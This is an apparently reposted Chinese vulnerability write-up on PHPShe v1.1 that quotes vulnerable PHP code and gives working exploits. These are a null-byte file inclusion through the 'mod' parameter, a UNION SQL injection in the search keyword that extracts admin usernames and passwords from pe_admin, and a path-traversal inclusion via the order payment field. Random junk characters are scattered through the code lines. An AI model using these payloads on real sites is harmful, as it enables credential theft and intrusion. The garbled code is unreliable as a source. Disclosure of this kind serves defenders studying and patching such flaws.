phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
! m# @5 U3 u% Z/* ========================
0 ?# w* J+ W$ e1 `/* By: : Kn1f3
2 C; Z# N, [# o' p; z/* E-Mail : 681796@qq.com
3 T7 P2 B$ N- Z/*******************************************************/
0×00 整体大概参数传输



//common.php
4 X# E0 ^% [( n8 V/ X4 L8 t- kif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
! \3 b( D+ J7 G8 _6 w4 p9 y}
. W$ l( ?5 A# ]0 @else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
6 x, [# |1 r' w6 g7 _!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
  Y& K. Q+ I1 h. p  x% j!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
. F/ T9 v% g) w& g' @

//首页文件
. D" ?+ s% ]# n) f- A<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
4 d# s5 L( C: v; y2 }& E- u1 Sinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
: }% E; {* ]% h6 N1 ~?>
5 U6 j% g; s7 |% i: j//common 文件 第15行开始
url路由配置
8 ^8 \  Z, J. f6 F) G2 M9 X( K) Y" w  j$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
! Z" Z, q% r& K2 K4 P; C4 J//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

# u) D$ r. P4 K/ v1 s0 h, x<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
) M+ |8 z& z$ V$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
' L& q+ y% B6 ^  T+ dpe_lead('hook/category.hook.php');
" _/ c+ k4 y) T  R( d4 nif ($category_id) {
" C6 ^  r" _* G5 l7 }5 Z. \where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
! r+ S$ P" j/ E2 v1 C. P}
% M* ~$ u- ?, G" b$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
! q# r! M. O( e5 [# w$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
/ i- ~5 U4 L( G) _}
: B  w) ^& n$ }& }5 O6 \4 N3 oelse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
1 ]# |; f) R8 g! @) D, c//热卖排行
) i: I/ f( x3 }5 X# `3 f) M# N; w$product_hotlist = product_hotlist();
//当前路径
, B3 L6 Z' l7 f. ]3 @1 h$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
3 ^2 O: z) S5 p; W9 p3 D! X//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 T% [0 O1 r4 U; a{
& F1 y, s" r8 ~' y# m//处理条件语句
# ?1 H0 O6 }% w/ w- O5 B# v$sqlwhere = $this->_dowhere($where);
/ B( t8 |, L0 S9 D* Dreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
/ o# B6 q$ m6 I# {0 o7 T' N# u

</code>
! w  e5 W) ]5 x3 @
0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

# e2 t8 V& C$ Q- n, C- ?* D8 D$order_id = pe_dbhold($_g_id);

2 m" q# X( f1 r1 }# r- N$cache_payway = cache::get('payway');

6 ?# Y- b/ O. ?foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

. p; y- J" n; ?( I& }2 p5 ^" O$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

# f# w# p% t8 j}

2 D5 t9 a3 u# g) W# J6 m1 K% `$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

# F5 E% b5 G! j9 d& l!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 g( F5 d& \: _7 R9 Qforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
  e( H0 z4 f: K

( p$ P  O, X9 x8 K7 d  P" e}

: ]4 s. C) M- [( pecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- o2 e- M$ r$ O+ ^: q* J3 j; z}//当一切准备好的时候就可以进行"鸡肋包含了"

+ Z. v9 H4 f' a: j/ K  v* eelse {

% X# S5 ?  g$ e9 w6 f& Wpe_error('支付错误...');

}

* ?" ~- I9 z+ K7 B  Q. d}

$seo = pe_seo('选择支付方式');

2 ?/ H' {0 R/ R7 n! ~include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg